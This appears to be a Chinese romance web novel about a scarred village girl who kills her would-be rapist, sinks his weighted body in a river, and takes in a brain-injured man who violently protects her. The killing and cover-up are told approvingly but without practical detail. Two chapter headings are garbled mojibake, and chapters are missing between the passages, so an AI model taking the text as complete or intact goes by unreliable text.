《农门丑妃不好惹》 第1章 娘子,你不要我了吗? “别跑了,你跑不掉的,就从了哥哥我吧,放心,哥哥一定会好好疼你的!” 丑丫挑着一对水桶脸色沉如寒霜,耳边回荡着男人恶臭又恶心的话,她快步跑着,想将身后的男人给甩开,但男人紧追不放。 李狗蛋见前面娇小的身影试图跑出他的手掌心,脸上漾起一抹邪笑,臭娘们,他不嫌她丑要娶她,她居然还敢拒绝! 既然软的不行,那他就来硬的,今天他连迷药都准备好了,她一个小娘们还不是手到擒来! “啧,都十六了,还没尝过男人的滋味吧?哥哥也是为了你好,你长得这么丑,嫁不出去的,但哥哥不嫌弃你,只要你从了我,我明天就找花轿来抬你回去。” 李狗蛋紧追丑丫不放,身为男人,他有力量上的优势,边追边说一些自以为是的话。 丑丫本不想和他有牵扯,但听着他这些让人作呕的话,她逐渐停住了脚步,眼底闪过杀机。 她深深吸两口气,平复自己的喘息,然后徐徐转身,对着李狗蛋扬起一抹勾人的笑。 她脸上有一抹红胎记,平日看起来恐怖吓人,但此刻却将这抹勾人的笑显得妖艳了许多,胎记如同用胭脂在脸上细细勾勒出来的花朵。 “哥哥说得极是,我想通了,但这光天化日的,我也不好意思,不如我们到河边的玉米地里去?” 她声音放得柔柔的,让人听了就软了骨头,李狗蛋哪里还有多余的思考,只当这女人是臣服在他的魅力之下,快步跟着她朝河边的玉米地走去。 盛夏时节,玉米树已经有半人多高了,人躺在里面,的确能隐蔽身形,李狗蛋心里美滋滋,边走边用他那双泛着淫光的眼睛上下打量丑丫。 脸是丑了点,但身段不错,才十六,身子也嫩,平时板着张脸,对他没个好脸色,还以为是正经人,没想到也是个骚浪的,大白天就约他钻玉米地! 等今日一睡,她就是想跑都跑不掉,不得乖乖做他媳妇儿,任他使唤! 很快两人便来到了玉米地,丑丫头也不回便钻了进去,肩上还挑着那对空水桶,李狗蛋见她毫不犹豫往里面钻,心里的邪火更甚了,这是迫不及待要被他睡了! 到了一个隐秘的角落,离河也近,不远处就是深水区的河岸,丑丫环视四周,见无人后便放下自己的水桶,手里握着扁担。 李狗蛋低头解着自己的裤腰带,淫笑着道:“小骚蹄子还挺会选地方,等着,老子现在就来满足你,保证你尝过味儿后就离不开老子的裤腰带!” 丑丫眼底闪过一抹嘲讽的笑,紧接着便是浓重的杀意,李狗蛋背对着她,她举起手中的扁担,使出来自己最大的力气朝着李狗蛋的后脑勺打去! 一声沉重的闷响声传出,李狗蛋倒在了地上,压到几棵玉米树,后脑勺有鲜血流出,他眼睛直直地瞪着天空,手还在裤腰带上,但却一句话都说不出。 丑丫深呼一口气,但下手的动作却并未结束,她依旧握着扁担,一下又一下往李狗蛋的脸上砸去,血珠飞溅,溅到了一旁的玉米叶上,也溅到了她的脸上。 可她却如同感觉不到一般,已经杀红了眼,过往的种种在她眼前闪过。 儿时她好不容易才找来的吃的,被他抢走,让她只能饿到肚子痛;她稍稍长大一些,就喜欢对她动手动脚,她反抗,被打得体无完肤;现在他娶不到媳妇儿,又把注意打到她身上了! 之前的她太小、太弱,没有反抗能力,现在若想欺辱她,便先将命给留下! 一声一声的闷响声,若是有人听到,大概会以为是河边洗衣裳的妇女在捣衣。 李狗蛋的一张脸被扁担砸得血肉模糊,已经再也没有了生气,丑丫一屁股坐在了地上,眼神呆呆地看着跟前的尸体,呼吸急促。 第一次杀人,难免会有些控制不住情绪,但她还算冷静,没一会儿便已经恢复了平静。 李狗蛋一张脸已经面目全非,看不出来本来的样子,但那双眼却还死死地瞪着,死不瞑目,可丑丫却一点都不害怕。 人死不过一堆烂肉,任由她摆布! 她解了他的腰带,撕了他的衣裳扭成布条,捡了几个大石头绑在他身上,之后拖着尸体,一步一步朝着不远处的河岸边走去。 早在进玉米地的时候她就已经选好了位置,这块玉米地位于河边,往前走几步便是深水区的岸边,她将尸体从岸边沉下去,毁尸灭迹! 他们村这条河,河水湍急,等尸体下了河,被水流冲走,再被河里的鱼虾一点点啃食,她杀了一个人的秘密将永远藏在这块玉米地里! 沉了尸,她将玉米地上的血迹和脚印都清理干净了,然后继续若无其事的在沉尸的位置打水。 丑丫蹲在河边,掬起一捧水,将自己的脸给洗干净,她皮肤白皙,但本该秀气精致的笑脸却被半张脸的红色胎记给毁于一旦。 她不爱笑,也不爱说话,平时都面无表情的板着一张脸,此时却对着河面上自己的倒影唇角勾起一抹嘲讽的笑。 呵,真丑! 蹲了一会儿,她起身准备回家,却听身后传来窸窸窣窣的声音。 她警惕的转身,眼神紧盯面前的大石头,弯腰拿起扁担握在手中。 那石头很大,平时在河边洗衣服的女人们会用它临时晒一下衣裳,背面完全可以躲一个人。一声闷哼声传来,窸窸窣窣的声音愈发明显,紧接着,丑丫便看到一个身穿黑衣、浑身伤痕的男人扶着石头颤颤巍巍的站了起来。 他眼神幽幽的看着她,清澈又懵懂,身上的疼痛让他皱起了脸,嘶嘶吸气。 丑丫的眼神里泛起狠厉,这男人是什么时候出现在这里的,刚才的事都被他看见了? 仔细打量男人,见他不像是他们村里的人,镇定心神后,她便装作看不见,挑上自己的水回家。 可身后的男人却叫住了她! “娘子,娘子,你为什么不和我说话,还要丢下我自己走?” 男人的声音透着一股憨劲,却意外的低沉好听,但就是喊的那声“娘子”着实吓人。 杀了个人都镇定自若的丑丫却被他这句话惊得差点左脚绊右脚摔在了地上,桶里的水也因晃荡洒在了她的裙摆上。 身后的男人已经追上她,扯住她的一截衣袖,轻轻的摇晃,语气可怜巴巴:“娘子,是不是我不乖,惹你生气了?你不要我了吗?” 丑丫一向清冷,没有多少事情能让她变了神色,可是现在这情况却让她措手不及。 她满脸的惊诧,将肩上的水桶再次放下之后,她才仔细打量起身边这个男人。 剑眉星目,鼻梁高挺,嘴唇薄而有型,棱角分明的下颌线,当真是她见过的最好看的男子,但就是这张本该俊美无双的脸庞上,此时却透着与之不相符的傻气。 男人的眼神清澈如孩童,没有一丝杂质,此时正委屈的看着自己,充满不安与害怕,好像真怕自己被抛弃一般。 丑丫微微愣怔,这是个傻子?还是装的? 他身高约莫八尺,自己连他的下巴都没达到,在她跟前高大魁梧得像一座小山,他身上穿的衣服的料子也不是普通人家穿的粗布、棉布,看上去是有钱人家才能穿得起的。 她带着怀疑,轻声开口:“你叫什么名字?” 第2章 捡了个傻夫带回家 那扯着她衣袖的傻乎乎的男人闻言真的歪着脑袋认真的想了起来,可随着深入的回想,他的脑袋剧痛起来,疼得他抱着脑袋蹲坐在了地上,满脸惨白。 “啊!娘子,我头疼,我什么都想不起来,好疼!” 丑丫蹙眉,见他难受的神情不似作假,便弯腰仔细检查他的脑袋。 将乌黑的发丝拨开,丑丫在男人后脑处发现了一块乌青的肿块,似是撞到了硬物上,她轻轻摸了摸,男人立马疼得瑟缩起来,满脸的委屈。 这神情,倒像是一只委屈巴巴讨不到吃食的大狗,丑丫的心也软了下来。 她拍拍他的肩膀,柔声道:“想不起来就不想了,头一会儿就不疼了。” 她心中已经有了猜想,这男人应该是撞到了头,撞傻了,醒来见的第一个人是她,便将她当成了娘子。 但想到家中的情况,她轻轻叹了一口气,她养活自己都成问题,将这么个男人带回去,只会是麻烦。 她起身,没再搭理男人,挑上水桶默不作声地赶路,身后的男人依旧追了上来。 “娘子,你生气了吗?我乖乖的,你不生气好不好?” 他脸上带着诚挚的关心,就连和她说话也是小心翼翼,生怕惹她生气,丑丫的心中一酸,软了一片,这还是第一个如此待她的人。 但沉默片刻后,她故意冷下了脸,语气生硬道:“我不是你娘子,离我远点,别跟着我!” 男人似是没想到她会突然凶他,吓了一跳,随即眼泪啪嗒啪嗒掉了下来,可怜巴巴。 “娘子,我错了,我不该惹你生气,你别不要我好不好?” “我会乖乖听话,也会好好干活,别不要我,刚才我看到娘子教训那个人了,以后这种事情都交给我来做,我保护娘子!” 他扯住她的衣角,拽得紧紧的,像是害怕被亲人抛弃的孩子,不安、畏惧、委屈。 男人本就长得好看,如今又哭得梨花带雨,愈发的我见犹怜。 丑丫的心神颤了颤,没想到还是被他看见了! 她沉下脸,语气也冰冷似寒霜:“你既然看到了,不害怕吗?不觉得我是杀人犯?不怕我也这样对你吗?” 傻男人头摇成了拨浪鼓,一脸认真地保证:“我不怕,因为那个人欺负娘子,娘子教训他是应该的,娘子是好人,以后我来帮娘子打人,就不用娘子亲自动手了!” 丑丫看着傻男人认真的神色,不可否认,她心软了,他是第一个说要保护她的人。 犹豫了好一会儿,她叹了一口气道:“算了,你要跟着便跟着吧。” 他虽是个男人,如今却痴傻如孩童,若真将他丢在这野外,或许他也活不下去,左右不过几顿饭,等过几日,她便带着他去报官,让官府替他寻亲吧。 傻男人破涕为笑,更加傻气得像个孩子,喜乐都写在脸上。 “谢谢娘子,娘子真好!” 他胡乱擦了一把脸上的泪水,伸手便接过丑丫肩上的扁担,傻乎乎道:“娘子,我来挑,粗活都应该是我干的!” 丑丫有心想阻止,可男人却已经乐颠儿颠儿往前走了,沉重的担子在他肩上恍若无物,挑得十分轻松。 她不由得感叹,这男人倒是个疼媳妇的,看他也已经是二十三四岁的样子,这个年岁,估计早就成亲了。 挑一趟水的功夫,捡回来一个男人,丑丫看着跟在她身后当跟屁虫的男人,第十次叹气。 男人傻乎乎的,听她叹气却是满脸关心:“娘子,你为什么叹气,有人欺负你吗?告诉我,我帮你揍他!” 说着,他还挥了挥自己沙包大的拳头,只是扯到身上的伤口,疼得他又嘶了一声。 丑丫有些无奈,将他按在了厨房里的小马扎上,像是哄孩子一般:“乖乖地坐好,我去做饭。” 男人乖巧点头,高大的身体却缩在小马扎上,手规规矩矩放在膝盖上,看上去有些可怜。 丑丫有些好笑,想到这男人也不记得自己叫什么名字,她应该给他取一个。 “我给你取个名字,以后你就叫阿福好不好?” 阿福闻言,开心地笑起来,十分乖巧地点头:“嗯嗯,阿福喜欢这个名字,谢谢娘子!” 被这么大个男人一声一声喊着娘子,丑丫控制不住的耳根发红,正色道:“不许喊我娘子,要叫姐姐,听到没有?” 傻男人很听她的话,她说什么,他便做什么,可现在居然会反驳她了。 “不要!娘子就是娘子,不是姐姐,而且,娘子比我小,不能叫姐姐!” 说完,他还气呼呼地哼了一声,双手抱胸:“哼!娘子你是不是又不想要阿福了?” 丑丫无语凝噎,真不知该夸他傻还是聪明,算了,他爱叫什么就什么吧,左右不过一个傻子,说的话不作数。 厨房里安静下来,丑丫从瘪得可怜的粮袋子里抓了一把糙米下锅,加了些野菜,煮一锅野菜粥,不算多好闻的味道在厨房里飘荡。 突然,屋外响起一道尖酸刻薄的妇人的叫骂声,还夹杂着孩子笑闹声、男人的交谈声。 “丑丫,给我滚出来!” “乡亲们今天可要给我做主啊!我可怜的儿,到现在还未归家,肯定是被丑丫这小贱蹄子给藏起来了,小娼妇不要脸,光天化日之下脱光勾引我儿子!” “呸!不要脸的东西,也不看看自己长什么模样,我们老李家怎么可能看得上你这种小贱蹄子,赶紧把我儿子还来!” 妇人叫嚣得很厉害,看着村民被她煽动得一个个眼里冒着八卦的金光,她就满心得意。 她可是和儿子商量好了,他将丑丫给药倒了,再和她生米煮成熟饭,她估摸着时间,带人上门来闹事,让村里人都以为是丑丫勾引她儿子。 这样的话,迫于压力,丑丫肯定会求着她儿子娶她,他们就不用出彩礼,也不用办婚礼请客吃饭,还能免费得一个媳妇儿! 这些年她都观察过了,虽然丑丫长得是丑了点,但胜在能干啊,现在取个媳妇儿要好几两银子,他们家哪有那么多钱! 儿子早就到了该娶媳妇儿的年纪,但相看的那些姑娘家都是些势利眼,张口就要四五两的彩礼,与其花那么些银子给别人,还不如娶个丑丫,不花钱,还能帮家里干活! 村里长舌妇人多,听她这么说,一些大嘴巴的便开始交头接耳。 “啧啧,真是林子大了什么鸟都有,这人丑不说,心也是黑的,居然能做出勾引男人的事,真是羞死人了!” “谁说不是,我们村的风气都被她给败光了,以后谁还敢娶我们村的姑娘!” 骂声一句比一句难听,乖巧坐在小马扎上的阿福听得噌一下站起来,拳头捏得咯吱作响,气鼓鼓地就要往外冲。 居然敢骂他娘子,他要出去打死他们! 被骂习惯了,丑丫的心早已麻木,可今天却有一个傻乎乎的男人为她生气,为她出头,她的鼻尖控制不住地有些酸涩。 但那群人有多恶毒,她知道,不想让阿福去冒险。 第3章 丑八怪家居然有男人! 她将男人按回了小马扎上,又给他盛了一碗已经煮好的野菜粥,轻柔地哄着:“阿福乖乖在这里喝粥,不许出来知道吗?我出去一趟,马上就回来了。” 阿福不想,放下粥碗要跟着出去,可是对上丑丫严厉的目光,只能委屈巴巴地缩成一团,不情愿道:“知道了。” 丑丫出了门,站在院中,平静又冷淡地看着那一张张令她生厌作呕的脸。 妇人见她出来,叫得更加的嚣张:“丑丫!你个不要脸的,敢勾引我儿子,今天说什么也要给我们老李家一个公道!” 丑丫唇角微微勾起,眼神嘲弄,嗓音清冷:“你儿子又不是我生的,他不在,你来找我是什么意思?” “还有,你口口声声说我勾引你儿子,证据呢?这年头空口污蔑别人也能这么理直气壮了吗?” “最后,你儿子那狗样我还看不上,别成天到处造谣别人勾引你儿子,我都替你臊得慌!” 妇人被气得一噎,面红耳赤,但也察觉到了不对劲的地方,按照事先的安排好的,她儿子这时候应该已经出来了,怎么会只有丑八怪出来了?而且她也不像中药的样子! 输人不输阵,虽然觉得疑惑,但是妇人却还是叫嚣得厉害,不想让自己低丑丫一头:“别和我扯东扯西,我可是听别人说我儿子被你勾走了的,我有证人,赶紧把我儿子叫出来!” 丑丫冷笑一声:“好啊,那就让你的证人出来,我们当面对质,看我是在何时何地,说了什么话,用什么手段勾引的你儿子?” “我告诉你,你的儿子只有你当个宝,不学无术、偷鸡摸狗、欺男霸女,就这样一个烂人还会有人勾引他?我看你还是去找个大夫帮忙看看脑子,看是不是癔症了!” 才十六的年岁,可她周身却弥漫着与年岁不相符的杀气,配上她猩红诡异的胎记,显得有些阴森恐怖。 幼时,父母早亡,无人庇护的她受尽欺凌,如今,她年岁渐长,再想欺负她,却也不是那么容易! 不过贱命一条,大不了与他们鱼死网破! 叫嚣的妇人被她的杀意给吓了一哆嗦,心里有些发毛,这个丑八怪会邪术,心思又恶毒,把她惹急了,她会干出什么事来都不知道! 但想想她身后跟来了这么多人,难不成还怕她一个小丫头? 随即,她又嚣张起来,鼓动村民们上前帮忙:“乡亲们,这小蹄子嘴硬得很,她肯定是将我儿子给绑起来了,我们进屋去搜搜看,到时候你们就知道我说的是不是真的了!” 妇人很肯定,她儿子一定在丑丫的屋里,说不定是干得太卖力,累着了,现在还睡着? 一个女人怎么可能反抗得过一个男人,更别说她儿子手里还有迷药! “好!进屋去搜,我们村可不能容忍这种丑事发生!” 众人高声附和,看着丑丫的眼神如同恶毒的狼盯上了猎物,他们一步步朝着丑丫的院子走来。 院子四周围了一圈不算结实的竹篱笆,那道篱笆门也只需一脚便能踹开,没一会儿的功夫,众人便踩着倒塌的篱笆门,往丑丫的院子里冲。 丑丫的心冷了一片,看来今日,是该与这群人鱼死网破的时候了! 就在众人猖狂地想推倒丑丫,往房间走时,厨房的方向居然飞出一根烧火棍,那棍子带着十足的力道,还有呼呼的劲风。 突如其来的棍子打了众人一个措手不及,还没来得及躲开,其中的两人便已经被砸中,惨叫一声过后瘫倒在地,头破血流,再无反应。 “啊!” 众人惊呼一声,慌乱地往后退,就见厨房里走出来了一个俊美高大的男人。 “不许欺负我娘子!” 阿福气势汹汹地走出来,像护小鸡仔一样将丑丫护在身后,瞪着那群恶煞的村民。 丑八怪家居然有男人,那男人还叫她娘子! 村民们震惊不已,等仔细打量那男人后,他们也发现了异样,原来是个傻子! 众人哄笑起来:“丑八怪这是耐不住寂寞,给自己找了个傻子?也是,傻子配丑八怪,天生一对!” 可随即一想,他们又觉得不对劲,李家婶子不是说丑丫勾引她儿子吗?出来的男人也不是他儿子啊? 而且,人家放着这么俊的男人不要去勾引她长得有些磕碜、又懒又馋的儿子,有些说不过去! 但也管不了那么多,最开始被那飞出来的烧火棍给吓到,但如今一看来的是个傻子,他们便也没什么好怕的,既然这傻子要帮丑八怪,就连他一起教训好了! 村民们蜂拥而上,将阿福和丑丫团团包围,丑丫神色凝重,想将阿福给护在身后,却见身边的男人突然冲了出去! 他一手拽过一个人,毫无章法的挥了一拳,那人居然飞了出去,撞倒了几个人,躺在地上吐血,没一会儿便晕了过去。 但阿福的进攻没有因此停下,他目露凶光,与之前的那股傻气完全不同,好似换了个人一般。 抬脚踹,挥手打,他的打斗方式没有半点招式技巧,只是野蛮的凭力气,他甚至能将一个壮年汉子举过头顶,再摔了出去。 他心性单纯,也不管男女有别或是以强欺弱,只知道,欺负他娘子的人,都应该打! 不管男女老少,都被他撂倒在地,有吐血的,有昏迷的,也有断胳膊断腿儿躺在地上哭的。 阿福捡了一块石头,想朝之前骂丑丫骂得最凶的妇人脑袋上砸去,却被丑丫给拉住。 “阿福,可以了,不要再打了。” 阿福不满的撅嘴,脸上的怒气还未消:“不要,她骂娘子,该打!” 丑丫的心又酸又涩,十一年过去,她再次有了人庇护,虽然他是个傻子,却满心满眼的护着她。 但她知道,阿福一身蛮力,打人不知道收劲,这一石头下去,那妇人定没了性命,她不想让他沾上人命,也不想他为了她吃官司、坐牢。 她牵起阿福的大手,轻轻拍着安抚,冷脸看向院中横七竖八躺着的那些人:“都给我滚!以后再敢来闹事,可不像今日这般被打一顿这么简单,担心你们的狗命!” 地上清醒的人如蒙大赦,挣扎着爬起来,拖着昏迷的人逃命一般逃出丑丫的小破院。 闹事的妇人一直没等到儿子出来,心里也开始慌了,坐在地上,浑身哆嗦着大喊:“狗蛋!狗蛋你快出来!” “狗蛋你快出来啊,娘都要被打死了!” 她还准备再叫几声,怒气未消的阿福脚一抬,踢了一个小石子朝她嘴边飞去,石子带着巨大的力道,将她的门牙都给打掉了! 此刻,她还哪儿敢在叫嚷,连滚带爬、屁滚尿流的逃走了。 自此,村里便传开了,丑八怪找了个傻夫,那傻夫力大如牛,凶神恶煞,一拳能打死一个人。 人都走完了,阿福还气鼓鼓的鼓着腮帮子,明显是还没出气。 丑丫有些无奈,被欺负的人是她,怎么他比她还气呢? 她牵着阿福进厨房里吃饭,却听男人突然委屈巴巴道:“娘子,我疼!” 绗?绔?閬囧埌閲庣尓锛岄樋绂忎細椋烇紵 回到了小破院,一盏昏暗的油灯照亮了狭小的屋子,丑丫拿出背篓里的东西,最后将那根包裹掩严实的糖葫芦递到阿福跟前。 “呐!给你买的,快吃!” 阿福眼睛都亮了,看着那串红彤彤的糖葫芦,脸上满是笑意:“哇,谢谢娘子,阿福喜欢!” 可看了好一会儿,他却不动口,而是将糖葫芦喂到了丑丫嘴边:“娘子先吃,你吃完,阿福再吃!” 丑丫的心更暖了,爹娘去世后,她便再也没吃过糖葫芦,早忘记了是什么味道,但开口却是:“阿福自己吃,我已经吃过了。” 阿福认真地眨巴着眼睛盯着丑丫看了好一会儿,觉得她不像是撒谎,才将糖葫芦塞进嘴里。 酸酸甜甜的滋味,让他眯起了眼睛,浑身的愉悦气息也感染了丑丫。 天已黑,二人却还都没吃饭,丑丫在厨房里忙活,阿福像跟屁虫一样紧跟着她,嘴里嘬着糖葫芦,眼睛却一眨不眨地盯着锅里熬的喷香的鸡汤。 那眼巴巴的模样,看着着实可怜,丑丫有些心酸,看来今天把阿福给饿坏了。 鸡汤里只简单的加了些葱姜调料,鲜香味扑鼻,丑丫难得奢侈一会,用鸡汤给自己煮了一碗略稠一些的糙米粥,又给阿福煮了一大碗鸡汤面。 厨房里的饭桌有些年头了,很小,丑丫用着刚合适,人高马大的阿福坐在桌边,就显得有些滑稽。 山楂开胃,一根糖葫芦啃完,阿福的肚子更饿了,等娘子将一大碗香喷喷、白花花的面条端到他面前,他不停地吞口水,拿起筷子准备开吃。 可当看到丑丫碗里黑乎乎的糙米粥时,阿福不高兴了,那双好看的剑眉皱了起来。 他将面条推到丑丫面前,撅着嘴道:“娘子吃面,阿福吃粥。” 丑丫微微愣神,随即心暖得像要化了一般,她何德何能,能遇上这个体贴入微的大傻子。 她强忍喉间那股涌上来的酸涩,柔声道:“阿福吃,我不喜欢吃面,我就喜欢喝粥。” 阿福这次不信了,黑乎乎的粥他今早吃过,一点也不好吃,怎么会有人喜欢吃不好吃的东西呢,阿福可聪明了,才不会信呢! “不要,那阿福也不喜欢吃面,要和娘子一起喝粥!” 男人耍小脾气了,双手抱胸,将脑袋转向另一边,不看丑丫,嘴也撅着,只是余光时不时地偷瞄两眼。 丑丫无奈,最后妥协,粥和面一人一半,混着吃,这样才把生气的阿福给哄好。 阿福到丑丫家已经六天了,身上的伤已经结了痂,愈发活蹦乱跳,成日跟在丑丫身后,寸步不离。 一连几天,李家人都没能找到李狗蛋,李狗蛋的亲娘疯了,见到丑丫和阿福便像见鬼一般逃跑,嘴里还大喊大叫。 村民大概都是记吃不记打的,被阿福打了一顿,才没过几天,他们的畏惧已经消散了不少,看丑丫和阿福依旧没什么好脸色。 今天,丑丫又要上山砍柴,阿福自然要粘着他,已经熟门熟路地背着背篓往山林的方向走。 路上遇到村民,对他们鼻子不是鼻子,眼睛不是眼睛的,指桑骂槐、吐唾沫的皆有,阿福气不过,举着砍柴刀就追过去,凶巴巴地喊着:“站住,看我不砍死你!” 将人吓得屁滚尿流、哭爹喊娘的逃跑。 而丑丫则紧追着阿福的步伐,在身后默默发笑,这样舒服的日子,让她觉得有些恍惚,好像做梦一般,自从遇上了阿福,她的生活又有了温度。 到了山林,阿福再次聚精会神地找野鸡,手里还握着一根削尖的木棍,这是他用来打猎的武器。 不过大概是好运上次用光了,今天一直没能遇上野鸡,除了头顶叽喳叫的鸟,其余什么野物都没发现。 阿福有些沮丧,耷拉着大脑袋,高大的身板往丑丫身边凑,要丑丫摸摸脑袋才能好。 回去的路上途经山谷,山谷间有一条小溪流过,水十分清澈干净,上山的人都会在这里歇脚喝水。 丑丫和阿福也在溪边歇脚,喝些水解渴,阿福还有些不开心地撅着嘴,耳朵却突然动了动,目光瞬间变得警惕,看向声音来源的方向。 只见,溪边不远处的草丛中,似有活物在跑动,使得杂草窸窣作响,丑丫也听到了动静,转头看去,还没等看清楚,就见那草丛中竟然窜出一头大野猪。 野猪长得很壮实,估摸得有两百多斤,尖利的獠牙在阳光下泛着寒光,眼神凶狠地盯着他们,像是想要将他们给挑飞。 丑丫的脑子空白了一瞬,随即便拉住阿福的手狂奔逃跑。 野猪生性凶残野蛮,危险程度不亚于老虎豹子,要是被它的獠牙给挑中,不死也得半残废! 但他们两条腿跑不过四条腿,野猪越来越近,身上的膘随着奔跑而抖动,嘴边也不停流下粘稠拉丝的哈喇子。 人越逃跑,野猪越狂躁,一个猛冲,飞奔直射,獠牙眼看就要戳中两人的腿。 丑丫目光一凛,抬手要将阿福给推开,但阿福却快她一步,大手搂住她的腰,脚尖一点,竟然抱着她跳到了身前的树上。 野猪扑了个空,一脑袋撞到了树干上,树剧烈抖动,丑丫吓得一颤,手紧紧地抱住树干,都可以听到自己扑通扑通的心跳声。 缓了一会儿,她突然意识到,刚刚阿福好像是抱着她飞到树上的! 阿福会飞? 她又震颤得变了神色,转头看向一只手还紧紧护着她的男人,却发现他也同样吓得面色发白,满脸慌乱,只不过那只手却不曾离开她的后腰。 那一瞬的震惊立即消散,取而代之的是心疼,她空出一只手,轻轻地,一下一下顺着阿福的背,温柔地安抚:“阿福,不怕啊,已经没事了。” 阿福也从惊吓中回神,一张俊脸委屈极了,抱住丑丫,将脑袋搭在她肩上,像个孩子一样委屈地撒娇:“娘子,阿福害怕!” 就在两人以为劫后余生之时,树下的野猪又狂躁地发动进攻,一下又一下地撞着树干。 这棵树并不是很粗,两百多斤的野猪力量巨大,再加上那锋利的獠牙,树迟早会被它撞断。 丑丫有些着急,在思考着怎么带阿福逃跑,没注意到阿福本来害怕慌乱的神色变得坚定,手也离开她的后腰,目光凶狠地盯着树下的野猪。 他要保护娘子!他要杀了这头野猪! 虽然变得痴傻,但似乎他之前的身体记忆还在,握紧手中的长木棍,他足下一跃,竟然轻飘飘地飞下了树,落在了野猪的后方。 丑丫被突然跳下树的阿福吓了一跳,惊呼出声:“阿福!” 却见阿福手握削尖的长木棍,气势凶狠地朝着野猪冲去,瞄准它的腹部。 但野猪反应很快,在木棍尖端即将刺中其腹部时,它身子一闪躲开,木棍偏航,刺中了它的背部。 野猪皮极厚,即使阿福使了最大的力气,那木棍居然也只是将它的皮给划开一条长痕,没有造成特别严重的伤害。 野猪吃痛,仰着脖子惨嚎,脾气变得愈发暴躁,眼眸猩红,直接凶狠地朝着阿福冲去。 丑丫心惊胆战,泪流满面都不自觉:“阿福,快跑!” 她嘶吼着,可阿福却没跑,反而正面迎上野猪的攻击! 绗?绔?杩欐牱鐨勭敺浜哄簲璇ユ槸濂逛滑鐨勶紒 此时的他,满眼的冷厉与肃杀,周身都是骇人的杀气,好像这才是真实的他一般。 他朝着野猪冲去,手中的长木棍瞄准野猪的眼睛,一人一猪即将撞上,他猛地挥出木棍,木棍尖端直直地戳进野猪的眼睛里! 要害重伤,野猪暂时忘记攻击阿福,疼得没有方向地横冲直撞。 丑丫稍稍松了一口气,就见阿福一不做二不休,再次盯上野猪的另一眼睛,瞅准时机,如法炮制,野猪的另一只眼也被戳破了! 瞎了眼的野猪攻击力大大降低,阿福直接将长木棍朝着野猪的腹部射去,那带着劲风的力道听得人发颤,木棍插入野猪的腹中,鲜血四溅。 扑腾了没一会儿,那野猪就倒在地上,没了动静! 丑丫都要被吓死了,此时终于长长地吐了一口气,紧接而来的就是手软脚软。 野猪倒下,阿福也一屁股坐在了地上,大口喘气,脑门上都是汗,显然是被吓得不轻。 丑丫爬下了树,朝着阿福跑去,直接半跪在地上,将还一脸惨白的阿福紧紧搂进怀里。 “阿福,不怕,不怕,都结束了,野猪已经死了。”“ 这话,既是安慰阿福的,也是安慰她自己的,只有她自己才知道,刚才的她是多么的紧张和害怕,害怕阿福会出事。 阿福也微微颤抖,缓了一会儿后从地上爬起来,朝着野猪走去。 踹一踹,戳一戳,确定那个大家伙真的死了,他突然灿烂地笑起来,对着还坐在地上的丑丫招手:“娘子,快来看,死了!” 此时的他可骄傲了,下巴都要扬到天上,笑得傻乎乎的,他,阿福,简直太厉害了! 丑丫此时也缓了过来,脸上的喜色挡也挡不住。 野猪!这么大一头,可以卖好多银子! 两人蹲在野猪跟前,一个撑着腮帮子傻笑,一个撑着腮帮子发愁。 傻笑的是阿福,那嘴角都要咧到耳后根去了,发愁的是丑丫,两百多斤的野猪,要怎么弄回家? 她发愁之际,却见阿福挽了挽袖子,作势要将野猪给扛起来,她连忙阻止,虽然阿福力气大,但是这么重的野猪,怎么可能扛得起来,不得把他给压坏了! “阿福,不” 话还没说完,傻乎乎的阿福已经弯腰将一头野猪扛在了肩上,貌似还挺轻松。 “娘子,走,回家吃肉!” 丑丫:“” 就挺无语的! 不过无语过后便是喜悦和自豪,她家阿福,真的太厉害了! 她背上了柴火,阿福扛着野猪,两人兴高采烈地往家里走,回到村里,不必说,这阵仗定然是引起全村人的围观! 在路边玩的小崽子们见阿福扛着一头巨大的野猪回来,震惊之后便撒脚丫子狂奔回去给大人们通风报信。 得了消息的大人嘴上说着“不可能”,却还是诚实地出门来看,见丑八怪家的傻夫真的扛着一头大野猪时,他们的嘴张了张,都不知道该说什么。 羡慕,嫉妒,心里发酸,什么情绪都有,有的妇人甚至眼刀子一个接一个往丑丫身上飞,这丑八怪走了什么狗屎运,找了个大傻子居然还会打猎! 她们可比那丑八怪强多了,这样的男人应该是她们的才对! 也有人动了歪心思,想将那头野猪给抢了,可想想上次傻子打人的狠厉,又不敢轻举妄动。 再说了,人家能打死一头凶悍的野猪,那打死他们一个人不也是轻轻松松! 看着村里人想干她,却又干不掉的眼神,丑丫心里就一阵舒爽,就连阿福也是高高的扬着脑袋,一脸的得意。 回到家中,天色还早,去一趟镇上的话,摸黑能赶回来,丑丫和阿福吃过饭后就赶着要去将野猪给卖了。 野味要新鲜的才值钱,这么热的天气,将野猪放在家里过夜,第二天就变味了! 家里有一辆闲置许久的板车,清理出来后,将野猪给放到板车上,前面栓了绳子,阿福主动担起拉车的重担。 这还是第一次和娘子去镇上赶集,阿福很高兴,扛着一头大野猪都能虎虎生风,更别说是拉车了,他甚至让丑丫也坐到板车上去,他拉着她走。 丑丫哪里舍得,走在他身边,陪着他说话,两人有说有笑的。 两人拉着野猪去到镇上的集市,引来无数人围观,有看野猪的,也有看丑丫和阿福的。 看野猪的惊呼出声,连连感叹了不得,看丑丫的直摇头,心里嘀咕这女娃长得咋恁吓人,看阿福则频频回头。 这小伙挺好看,再看看! 阿福被这些人看得不自在,自以为很凶的板起脸,才不给他们看,阿福只让娘子看! 丑丫失笑,拍拍他的大手安抚,心里却有些微微的酸涩,阿福就算变得痴傻了,却也依旧万众瞩目,而她 还是去了上次卖野鸡的地方,今天没有上次那么幸运,等了许久都不曾见到买主,围观的人挺多,但都是看热闹的。 野猪不像野鸡,普通人家根本买不起,来看热闹的人都是瞅一眼,感叹一句好大的野猪之后就离开了。 大夏天的,在烈日下站着等买主,很是煎熬,阿福满脑门儿都是汗,丑丫心疼,拿着帕子给他擦汗。 终于在等了约莫一个时辰后,等来了买主,镇上一家酒楼的采买伙计,看到这么新鲜的野猪,很是高兴,和丑丫商定价格之后,让他们将野猪送到酒楼的后厨。 一大头野猪,卖了整整十两银子! 丑丫从来没见过这么多钱,宝贝的将银子藏进衣服里,只留了些碎银钱买东西。 她要先去给阿福扯两匹布,再做两身衣裳,他现在连换洗的衣裳都没了,还要再给阿福买一张大一点的床,那张小床,他晚上睡觉都伸不开腿。 镇上有木匠铺子,里面有不少的成品家具,老木匠见二人走进来,眼前一亮,实在是因为这一丑一俊的搭配有些亮眼。 但看了一会儿,他就发现了异样,这俊俏小伙,多半是个傻子,难怪能找个丑媳妇儿。 